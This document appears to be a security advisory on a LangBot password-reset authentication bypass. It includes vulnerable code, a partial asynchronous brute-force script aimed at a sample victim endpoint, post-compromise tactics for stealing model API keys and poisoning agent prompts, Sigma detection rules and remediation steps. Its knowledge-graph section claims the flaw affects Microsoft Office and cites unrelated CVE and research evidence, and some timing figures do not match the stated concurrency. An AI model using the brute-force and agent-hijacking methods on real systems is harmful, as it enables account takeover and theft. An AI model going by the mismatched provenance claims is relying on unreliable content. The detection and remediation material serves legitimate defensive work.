CVE-2026-90562: Authentication Bypass and Administrative Takeover via Low Entropy Password Recovery in LangBot

HERMES

HERMES THREAT SCORE & AGENT PLATFORM TAKEOVER RISK

Target: LangBot LLM Agentic Infrastructure — Authentication Subsystem & User Management API (/api/v1/user/reset-password)

Confidence: 95%

88 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 18 / 20

Threat Activity 15 / 20

Weaponization 17 / 20

Exposure 18 / 20

Prevalence 15 / 20

Impact 19 / 20

Exploit Maturity 17 / 20

Attack Chain Potential 19 / 20

⚖️ Divergence & Operational Rationale

While CVSS v3.1 rates CVE-2026-90562 at 8.1 (High) by classifying LangBot as a conventional web service, the Hermes Threat Score elevates the risk to 88 (CRITICAL). In production enterprise AI deployments, LangBot acts as the central orchestration plane governing autonomous agents, multi-turn LLM reasoning loops, privileged tool execution environments (Python code runners, SQL executors, shell dispatchers), and enterprise messaging integrations (Slack, Discord, Teams). Complete administrative account takeover hands remote adversaries immediate access to foundation model API secrets, proprietary enterprise vector databases, and arbitrary remote tool execution inside internal networks.

HASS

HASS AGENTIC SEVERITY & ORCHESTRATION COMPROMISE

Target: LangBot Agent Orchestrator, LLM Key Store & Tool Execution Dispatcher

Confidence: 96%

94 / 100

CRITICAL

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown

Autonomy 19 / 20

Tool Access 20 / 20

Privilege 15 / 15

Persistence 14 / 15

External Impact 14 / 15

Propagation 12 / 15

⚖️ Divergence & Operational Rationale

Autonomous agents orchestrated by LangBot operate with delegated access to enterprise repositories, databases, and internal APIs. By taking over the administrator account, an adversary bypasses all agent guardrails, injects persistent malicious instructions into agent system prompts, and leverages connected execution tools to turn deployed AI agents into autonomous internal attackers.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-90562: Authentication Bypass and Administrative Takeover via Low Entropy Password Recovery in LangBotVULNERABILITY

Connected Nodes: 3

Active Relationships (Outgoing)

→ affectsPRODUCTMicrosoft Office & 365 Apps

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Supporting Verified Evidence:

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ exploitsAGENTIC ATTACK_PATTERNAAP-003: Tool Parameter Tampering & Built-in Bypass

92% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-90562 weaponizes the agentic attack pattern formalized under AAP-003.”

Supporting Verified Evidence:

• [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)

→ exploitsAGENTIC ATTACK_PATTERNAAP-007: Autonomous Cascading RCE

92% VERY_HIGH

Cascading multi-stage attack chaining context injection, autonomous loop planning, and un-sandboxed execution sinks to achieve persistent root shell compromise on host machines.

🔍 Why is this related? (Evidence & Provenance)

“CVE-2026-90562 weaponizes the agentic attack pattern formalized under AAP-007.”

Supporting Verified Evidence:

• [technical_analysis]Pillar Security demonstrated that executing export BASH_ENV in Auto-Run causes bash to source hostile payloads upon subsequent commands. — Source: Pillar Security Research: Bypassing Cursor Auto-Run: When Shell Built-ins Lead to Host RCE (Reliability: HIGH)

Security Advisory: Critical Authentication Bypass in AI Agent Infrastructure (CWE-331 / CWE-307)

CVSS v3.1: 8.1 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) / CVSS v4.0: 9.2 Critical / CWE-331: Insufficient Entropy, CWE-307: Improper Restriction of Excessive Authentication Attempts. Disclosed by security researchers and the LangBot project team via GitHub Advisory GHSA-j5vf-3q8p-9472 on September 11, 2026. Affects LangBot versions 4.0.8.1 through 4.10.10. Remediated in version 4.10.11.

Executive Summary

On September 11, 2026, maintainers of LangBot, the widely deployed open-source AI agent orchestration framework and chatbot controller, published CVE-2026-90562. The vulnerability enables unauthenticated remote adversaries to hijack arbitrary accounts—including root administrators—via the password recovery endpoint.

The flaw is caused by two intersecting implementation errors in the asynchronous authentication module:

1. Trivial Token Entropy: Recovery tokens were generated using secrets.token_hex(3), yielding only 3 bytes (6 hexadecimal characters) of entropy—a total keyspace of exactly 16,777,216 combinations (24 bits: 16^6).
2. Non-Blocking Rate Limiting Illusion: The backend attempted to throttle password reset verification requests by issuing await asyncio.sleep(3). In an asynchronous ASGI runtime (such as FastAPI/Starlette under Uvicorn), await asyncio.sleep() merely suspends the individual coroutine and releases the event loop, permitting thousands of concurrent asynchronous requests without any shared per-IP or per-account synchronization.

By deploying high-concurrency HTTP/2 brute-force pipelines, remote attackers systematically exhaust the 24-bit keyspace in under 7 hours (with a 50% probability of success in ~3.5 hours), taking over administrative credentials, extracting API keys (OpenAI, Anthropic, Gemini, AWS Bedrock), and weaponizing agent tool dispatchers.

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1. Technical Context & Affected Software Matrix

LangBot provides an extensible platform for multi-agent collaboration, LLM workflow automation, and tool execution. The vulnerability resides in its user identity and security service components.

Parameter	Technical Specification	Operational Significance
CVE Identifier	CVE-2026-90562	NVD, GitHub Advisory GHSA-j5vf-3q8p-9472
Vulnerability Class	Insufficient Entropy (CWE-331) & Missing Anti-Automation (CWE-307)	Predictable authentication token generation and async sleep flaw
Vulnerable Component	core/security/password_reset.py, endpoint /api/v1/user/reset-password	Account recovery verification handler
Root Mechanism	secrets.token_hex(3) (24 bits) combined with non-blocking coroutine sleep	Search space of 16.7M tokens traversable concurrently
Attack Vector	Network (AV:N) unauthenticated HTTP POST requests	Any remote actor knowing an administrator’s email address
Privileges Required	None (PR:N)	Pre-authentication exploitation
User Interaction	None (UI:N)	Zero user interaction required
Affected Versions	>= 4.0.8.1, <= 4.10.10	All production deployments utilizing built-in auth
Remediated Version	4.10.11	Employs 256-bit tokens and Redis-backed sliding-window rate limiting

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2. Vulnerability Anatomy & Root Cause Analysis

The 24-Bit Entropy Trap

The password recovery mechanism intended to provide administrators with a temporary recovery code. However, in core/security/password_reset.py, the developer chose a 3-byte token length:

# Vulnerable Token Generation in LangBot <= 4.10.10
import secrets

def generate_reset_token(user_id: str) -> str:
    # Generates only 3 bytes (6 hexadecimal characters: [0-9a-f]{6})
    token = secrets.token_hex(3)
    db.store_reset_token(user_id=user_id, token=token, ttl_seconds=86400)
    return token

The mathematical search space for 6 hexadecimal characters is: 16^6 = 2^24 = 16,777,216 possibilities

While standard password reset tokens require at least 128 to 256 bits of cryptographic entropy (such as secrets.token_urlsafe(32)), 24 bits is trivial to brute-force over standard network protocols if anti-automation controls are missing.

The Asynchronous Rate-Limiting Illusion

To mitigate automated guessing, the application implemented an artificial delay inside the reset verification endpoint:

# Flawed Rate-Limiting Implementation in FastAPI/Starlette
@router.post("/api/v1/user/reset-password")
async def verify_and_reset_password(payload: ResetPasswordRequest):
    # Simulated rate limiting: intends to enforce a 3-second penalty per attempt
    await asyncio.sleep(3)

    user = await db.get_user_by_email(payload.email)
    if not user or user.reset_token != payload.token:
        raise HTTPException(status_code=400, detail="Invalid token or email")

    await user.set_password(payload.new_password)
    await db.invalidate_reset_token(user.id)
    return {"status": "success", "message": "Password updated successfully"}

In synchronous multi-threaded architectures (like traditional WSGI with Gunicorn), sleeping blocks the worker thread. However, in Python’s asyncio event loop:

• await asyncio.sleep(3) yields control back to the event loop.
• The single process continues servicing other incoming I/O requests while the timer runs in the background.
• Because no shared state, per-IP bucket, or per-user attempt counter was stored in Redis or in-memory state machines, the application comfortably handles 1,000+ concurrent asynchronous connections simultaneously.

An adversary firing 800 to 1,200 concurrent HTTP/2 streams exhausts the entire 16.7M token search space in approximately 6 to 7 hours:

• Average time to crack (50% probability): 8,388,608 / 700 req/sec ≈ 11,983 seconds ≈ 3.32 hours
• Total exhaustive search (100% keyspace): 16,777,216 / 700 req/sec ≈ 23,967 seconds ≈ 6.65 hours

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3. Threat Vectors, Exploitation Mechanics & Attack Flow

Attack Flow Architecture

flowchart TD
    A["Adversary"] -->|"1. Triggers reset for target email (admin@victim.com)"| B["LangBot API (/api/v1/user/forgot-password)"]
    B -->|"Generates 24-bit token: secrets.token_hex(3)"| C["LangBot Backend Database (valid for 24h)"]
    A -->|"2. Spawns 1,000 asynchronous HTTP/2 worker routines"| D["LangBot Event Loop (/api/v1/user/reset-password)"]
    D -->|"await asyncio.sleep(3) yields to event loop (no throttling!)"| E["Token Validation Logic"]
    E -->|"Checks candidate token against DB"| F{"Match Found?"}
    F -->|"No (16.7M combinations)"| D
    F -->|"Yes (avg. 3.5 hours)"| G["Password Reset to Attacker Secret"]
    G -->|"3. Attacker authenticates with admin rights"| H["LangBot Admin Dashboard"]
    H -->|"Extracts API keys & executes arbitrary tool commands"| I["Enterprise Network & LLM Infrastructure Compromise"]

Exploit Demonstration Harness

An attacker initiates exploitation with an asynchronous Python script utilizing httpx with HTTP/2 pipelining:

import asyncio
import httpx
import itertools

TARGET_URL = "https://ai-orchestrator.victim-corp.com/api/v1/user/reset-password"
TARGET_EMAIL = "admin@victim-corp.com"
NEW_PASSWORD = "HackedMasterKey2026!#"
CONCURRENCY = 800

async def attempt_token(client, token_hex):
    payload = {
        "email": TARGET_EMAIL,
        "token": token_hex,
        "new_password": NEW_PASSWORD
    }
    try:
        resp = await client.post(TARGET_URL, json=payload, timeout=10.0)
        if resp.status_code == 200:
            print(f"[!] SUCCESS! Admin password reset with token: {token_hex}")
            return True
    except Exception:
        pass
    return False

async def brute_force_worker(token_chunk):
    limits = httpx.Limits(max_keepalive_connections=CONCURRENCY, max_connections=CONCURRENCY)
    async with httpx.AsyncClient(http2=True, limits=limits) as client:
        for token in token_chunk:
            if await attempt_token(client, token):
                return True
    return False

# Hex space: 000000 to ffffff

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4. Forensic Execution Flow, Artifacts & Post-Exploitation Tactics

Impact on Agentic Systems & Post-Exploitation Tactics

Upon gaining administrative access, the adversary compromises the foundational pillars of the agentic AI stack:

1. LLM Credential Theft: LangBot manages connections to foundational model providers. The adversary dumps administrative configuration panels to harvest plaintext API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY, MISTRAL_API_KEY, AWS IAM credentials for Bedrock).
2. Autonomous Tool Hijacking: LangBot agents configure tool call bindings (such as shell execution, database query tools, and HTTP webhooks). The attacker reconfigures agent prompts or directly triggers tool dispatchers with administrative payloads, leading to internal remote code execution.
3. Prompt & Context Poisoning: The adversary alters persistent agent system instructions, turning internal support bots into covert data exfiltration channels or phishing agents targeting enterprise staff.
4. Vector Database & RAG Exfiltration: Access to the admin dashboard exposes knowledge base embeddings, allowing attackers to download confidential corporate documentation indexed for retrieval-augmented generation.

Forensic Artifacts & Detection Indicators

When investigating suspected exploitation of CVE-2026-90562, examine reverse proxy and container logs for the following anomalies:

• Abnormal HTTP Request Volume: Over 5,000 requests per minute targeting /api/v1/user/reset-password returning HTTP status code 400 with payload error Invalid token or email.
• High Concurrency from Single or Distributed Subnets: Massive streams of POST requests with identical payload length and rotating 6-character hex strings ([0-9a-f]{6}).
• Event Log Indicators: In Uvicorn/FastAPI access logs:

  POST /api/v1/user/reset-password HTTP/2" 400 Bad Request - client=198.51.100.45:54320
  POST /api/v1/user/reset-password HTTP/2" 400 Bad Request - client=198.51.100.45:54322
  ...
  POST /api/v1/user/reset-password HTTP/2" 200 OK - client=198.51.100.45:55102

• Sudden Administrator Password Changes: An unexpected password change event followed immediately by login from an unrecognized IP address.

---

5. Detection Engineering & Sigma Rules

Sigma Rule: Excessive Password Reset Verification Attempts (LangBot)

title: LangBot Password Reset Brute Force Attempt (CVE-2026-90562)
id: 489f7832-159a-4c91-b3b4-827101fa9056
status: experimental
description: Detects high volumes of unauthenticated POST requests targeting LangBot password reset endpoints indicative of CVE-2026-90562 token brute-forcing.
author: Hermes Codex Cyber Threat Intelligence
date: 2026-09-16
references:
  - https://github.com/langbot/langbot/security/advisories/GHSA-j5vf-3q8p-9472
  - https://nvd.nist.gov/vuln/detail/CVE-2026-90562
logsource:
  category: webserver
  product: nginx / traefik / uvicorn
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem|endswith: '/api/v1/user/reset-password'
  timeframe: 1m
  condition: selection | count(cs-uri-stem) > 50
fields:
  - c-ip
  - cs-uri-stem
  - sc-status
falsepositives:
  - Automated integration testing suites in staging environments
level: high
tags:
  - attack.credential_access
  - attack.t1110.001
  - cve.2026.90562

Sigma Rule: Suspicious LangBot Admin Configuration Dump & API Key Access

title: LangBot Post-Compromise Administrative Tool and Secret Access
id: d193ab48-289c-49a7-9654-e84128ab9056
status: experimental
description: Detects access to LangBot administrative settings, agent tool configurations, or API key vaults immediately following an administrative password reset.
author: Hermes Codex Cyber Threat Intelligence
date: 2026-09-16
logsource:
  category: application
  product: langbot
detection:
  selection_reset:
    event_type: 'password_reset_success'
  selection_access:
    uri|contains:
      - '/api/v1/admin/secrets'
      - '/api/v1/admin/tools/execute'
      - '/api/v1/admin/agents/update'
  condition: selection_reset and selection_access
fields:
  - user_id
  - client_ip
  - uri
level: critical
tags:
  - attack.collection
  - attack.t1552.004
  - cve.2026.90562

---

6. Hardening, Remediation & Verification

1. Upgrade LangBot to Version 4.10.11 or Later: The maintainers resolved the vulnerability by migrating token generation to a cryptographically secure 256-bit token (secrets.token_urlsafe(32)) and introducing atomic, distributed rate limiting via Redis.

   pip install --upgrade "langbot>=4.10.11"
   # Or for containerized deployments:
   docker pull langbot/langbot:4.10.11
   docker-compose up -d --force-recreate

2. Deploy External Reverse Proxy Rate Limiting: If an immediate upgrade cannot be deployed, enforce strict rate limiting on the reset endpoint at the Nginx or Cloudflare / WAF ingress layer:

   # Nginx mitigation configuration
   limit_req_zone $binary_remote_addr zone=reset_limit:10m rate=5r/m;
   
   location /api/v1/user/reset-password {
       limit_req zone=reset_limit burst=2 nodelay;
       limit_req_status 429;
       proxy_pass http://langbot_backend;
   }

3. Invalidate Active Reset Tokens & Force Admin Session Termination: Purge all pending reset tokens in the database and invalidate existing administrative JWT refresh tokens:

   -- PostgreSQL / SQLite cleanup command
   UPDATE users SET reset_token = NULL, reset_token_expires_at = NULL WHERE reset_token IS NOT NULL;
   DELETE FROM user_sessions WHERE user_role = 'admin';

4. Rotate Upstream Foundation Model API Keys: As a defense-in-depth measure, immediately rotate all LLM API credentials (OpenAI, Anthropic, Gemini, AWS Bedrock, Cohere) configured within LangBot instances that were exposed to untrusted networks.

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7. Strategic Cross-References & Internal Links

ESPnet Model Checkpoint Deserialization RCE (CVE-2026-90777) Explore unsafe model deserialization vulnerabilities compromising AI speech pipelines and agent tools.

AAP-003: Tool Parameter Tampering Analyze attack chains where adversaries hijack agent tool interfaces to execute unintended actions.

AAP-007: Autonomous Cascading RCE Review propagation mechanisms where agent tool invocation culminates in host code execution.

AI Agent Misconfigurations Analysis Deep dive into architectural oversights, authentication lapses, and privilege leakage in LLM agent platforms.